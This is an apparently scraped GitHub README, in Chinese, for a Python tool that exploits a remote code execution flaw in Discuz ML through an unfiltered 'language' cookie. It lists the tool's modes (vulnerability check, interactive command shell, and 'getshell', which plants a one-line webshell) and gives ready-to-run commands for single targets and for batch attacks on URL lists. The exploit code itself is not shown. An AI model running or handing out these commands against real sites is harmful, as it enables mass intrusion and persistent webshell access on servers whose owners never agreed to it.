theLSA/discuz-ml-rce: discuz ml rce
2019-07-31 23:09:10 Author: github.com(查看原文) 阅读量:257 收藏

Join GitHub today

GitHub is home to over 36 million developers working together to host and review code, manage projects, and build software together.

Sign up



漏洞在于cookie的language可控并且没有严格过滤,导致可以远程代码执行,详情参考

discuz ml RCE漏洞重现及分析


本工具支持单url和批量检测,有判断模式(只判断有无该漏洞)、cmdshell模式(返回简单的cmd shell)和getshell模式(写入一句话木马)。

python2.7
pip -r requirements.txt

使用时加上漏洞PHP页面(如forum.php,portal.php),直接写域名可能会重定向导致误报!



使用帮助
python dz-ml-rce.py -h


判断模式
python dz-ml-rce.py -u "http://www.xxx.cn/forum.php"


cmdshell模式
python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" --cmdshell


getshell模式
python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" --getshell


批量检测
python dz-ml-rce.py -f urls.txt


批量getshell
python dz-ml-rce.py -f urls.txt --getshell


有空会做各种优化。


issus
博客:http://www.lsablog.com/networksec/penetration/discuz-ml-rce-analysis/
gmail:[email protected]
qq:[email protected]


文章来源: https://github.com/theLSA/discuz-ml-rce
如有侵权请联系:admin#unsafe.sh